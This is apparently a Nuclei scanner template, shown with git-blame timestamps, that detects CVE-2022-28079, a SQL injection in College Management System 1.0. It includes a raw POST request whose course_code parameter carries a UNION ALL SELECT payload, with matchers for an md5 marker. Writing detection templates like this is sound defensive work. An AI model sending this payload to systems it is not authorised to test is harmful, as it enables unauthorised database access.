2022-06-23 08:15:30 +00:00
|
|
|
id: CVE-2022-28079
|
|
|
|
|
|
|
|
info:
|
2022-07-26 13:45:11 +00:00
|
|
|
name: College Management System 1.0 - SQL Injection
|
2022-06-23 08:15:30 +00:00
|
|
|
author: ritikchaddha
|
|
|
|
severity: high
|
|
|
|
description: |
|
2022-07-26 13:45:11 +00:00
|
|
|
College Management System 1.0 contains a SQL injection vulnerability via the course code parameter.
|
2022-06-23 08:15:30 +00:00
|
|
|
reference:
|
|
|
|
- https://github.com/erengozaydin/College-Management-System-course_code-SQL-Injection-Authenticated
|
|
|
|
- https://download.code-projects.org/details/1c3b87e5-f6a6-46dd-9b5f-19c39667866f
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-28079
|
2022-06-24 19:01:51 +00:00
|
|
|
- https://code-projects.org/college-management-system-in-php-with-source-code/
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 8.8
|
|
|
|
cve-id: CVE-2022-28079
|
|
|
|
cwe-id: CWE-89
|
2022-06-23 18:44:57 +00:00
|
|
|
metadata:
|
2022-06-24 19:01:51 +00:00
|
|
|
verified: "true"
|
2022-06-23 18:44:57 +00:00
|
|
|
tags: cve,cve2022,sqli,cms,collegemanagement
|
2022-06-23 08:15:30 +00:00
|
|
|
|
2022-06-30 03:30:04 +00:00
|
|
|
variables:
|
|
|
|
num: "999999999"
|
|
|
|
|
2022-06-23 08:15:30 +00:00
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /admin/asign-single-student-subjects.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
2022-06-30 03:30:04 +00:00
|
|
|
submit=Press&roll_no=3&course_code=sd' UNION ALL SELECT CONCAT(md5({{num}}),12,21),NULL,NULL,NULL,NULL#
|
2022-06-23 08:15:30 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
2022-06-30 03:30:04 +00:00
|
|
|
- '{{md5({{num}})}}'
|
2022-06-23 08:15:30 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 302
|
2022-07-26 13:45:11 +00:00
|
|
|
|
|
|
|
# Enhanced by mp on 2022/07/15
|